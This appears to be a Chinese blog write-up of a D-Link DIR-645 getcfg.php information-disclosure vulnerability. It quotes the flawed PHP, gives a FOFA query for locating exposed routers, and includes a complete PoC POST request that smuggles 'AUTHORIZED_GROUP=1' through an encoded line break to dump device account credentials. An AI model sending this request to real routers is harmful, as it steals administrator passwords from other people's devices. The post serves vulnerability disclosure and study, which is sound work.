首页 > 其他分享 >D-Link DIR-645 信息泄露漏洞

D-Link DIR-645 信息泄露漏洞

时间:2022-11-16 14:05:14浏览次数:47  
标签:GETCFG INDEX SERVICE SVC Link SERVICES 645 POST DIR

一、 D-Link DIR-645 getcfg.php 文件由于过滤不严格导致信息泄露漏洞。

$SERVICE_COUNT = cut_count($_POST["SERVICES"], ",");

TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]);

$SERVICE_INDEX = 0;

while ($SERVICE_INDEX < $SERVICE_COUNT)

{

    $GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ",");

    TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC);

    if ($GETCFG_SVC!="")

    {

        $file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php";

        /* GETCFG_SVC will be passed to the child process. */

        if (isfile($file)=="1") dophp("load", $file);

    }

    $SERVICE_INDEX++;

}

可以看到 $GETCFG_SVC 没有任何过滤直接获取了 POST 传递过来的SERVICES的值。如果$GETCFG_SVC不为空,则进行文件读取。可以读取存储此设备信息的DEVICE.ACCOUNT .xml .php等文件。

二、漏洞复现:

测绘fofa搜索:app="D_Link-DIR-868L"

使用poc访问漏洞页面即可获取到账号密码

POST /getcfg.php HTTP/1.1

Host: {{Hostname}}

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0

Content-Length: 70

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Connection: close

Content-Type: application/x-www-form-urlencoded

DNT: 1

Upgrade-Insecure-Requests: 1

 

SERVICES=DEVICE.ACCOUNT&attack=ture%0D%0AAUTHORIZED_GROUP%3D1

(SERVICES=DEVICE.ACCOUNT&attack=ture

AUTHORIZED_GROUP=1)

返回代码:

D-Link DIR-645 信息泄露漏洞_xml


标签:GETCFG,INDEX,SERVICE,SVC,Link,SERVICES,645,POST,DIR
From: https://blog.51cto.com/u_692344/5856092

相关文章

  • Qt中openssl配置,提示OPENSSL_Applink错误(程序异常退出错误)
    首先在QTcreater创建的QT工程中配置静态库和头文件1、LIBS+=-L"E:\OpenSSL-Win32\lib"-llibcryptoLIBS+=-L"E:\OpenSSL-Win32\lib"-llibsslINCLUDEPATH+=$$quote......
  • virtviewerUsbredirUSB重定向_F_hawk189_新浪博客
    编译virtviewer之前执行的configure命令,是没有使能usb-redir相关的功能,virtviewer是否支持usbredir是完全依赖于spice-gtk的。virtviewer对spice-gtk的依赖关系,可以从vi......
  • Flink 按键分区状态基本介绍
    在实际应用中,我们一般都需要将数据按照某个key进行分区,然后再进行计算处理;所以最为常见的状态类型就是KeyedState。之前介绍到keyBy之后的聚合、窗口计算,算子所持有的状态......
  • ArrayList为什么比LinkedList查询速度快
    知乎:https://www.zhihu.com/question/61920401举个简单的例子:假如有很多人,排成长队,这个时候要找5号的人就非常简单,问都不用问,直接定位。假如不排成长队,只是随机站在很大......
  • mysqld_safe Directory '/tmp/mysql' for UNIX socket file don't exists.
    报错版本:mysql-5.7.351、报错完整提示信息;[root@localhostbin]#2022-11-15T04:04:43.122905Zmysqld_safeLoggingto'/var/log/mysql.log'.2022-11-15T04:04:43.1......
  • bugku-sodirty
    打开网页,点下注册,然后啥都没有尝试用御剑扫描一些发现www.zip打开网页,会下载到网站源码在纷扰中找到一个文件/routes/index.js,用笔记本打开varexpress=require('......
  • 【Javaweb】了解link标签
    link标签的属性标签就是定义文档和外部的关系,常见用途是链接样式表。通常指存在于head部分。规定被连接文档的位置<linkrel='stylesheet'href='./ease.css'type='t......
  • 快速体验 Flink Table Store进阶篇
    在本地安装单机版本,能够实现快速体验FlinkTableStore的目的,本文以Flink1.15.2、flink-table-store-dist-0.2.1、flink-shaded-hadoop-2-uber-2.8.3-10.0和Kafka3.......
  • 4K60帧!RayLink远程控制软件如何帮助设计师远程办公?
    司机在家能远程工作吗?大写的“能”!!!如果你听说过司机远程办公,那你一定对下面这张图不陌生~(远程办公的叉车司机)这张图展示的是负责在库房工作的叉车司机在非办公区域远程办......
  • Eolink 再获多项荣誉与认证,持续行业领先!
    近日,由赛迪网、《数字经济》杂志社发起,历时六个月的调研、征集,数万家企业申报的 2022 行业信息化竞争力成果榜单公布。Eolink以实力荣膺两项大奖——《2022API 全......